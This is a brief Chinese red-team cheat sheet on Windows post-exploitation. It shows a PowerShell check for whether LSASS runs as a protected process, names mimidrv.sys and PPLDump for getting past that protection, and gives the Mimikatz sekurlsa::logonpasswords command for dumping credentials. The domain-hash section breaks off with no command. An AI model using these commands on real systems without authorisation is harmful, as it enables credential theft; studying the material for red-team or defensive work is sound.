红队笔记 - 后渗透

2021-10-12 14:45:42 浏览数 (1)

LSASS保护

LSASS 被配置为作为受保护进程 (PPL) 运行，您可以使用 PowerShell 进行查询。

代码语言：javascript复制
Get-ItemProperty -Path HKLM:SYSTEMCurrentControlSetControlLsa -Name "RunAsPPL"

如果是这种情况，您不能只是转储或解析 LSASS，您需要使用类似mimidrv.sys，PPLDump等

使用 Mimikatz 转储操作系统凭据

代码语言：javascript复制
# Dump logon passwords
sekurlsa::logonpasswords

# Dump all domain hashes from a DC
## Note: Everything with /patch is noisy as heck since it writes to LSASS 


	


sass sas api 网络安全 安全 




	






	

 0 人点赞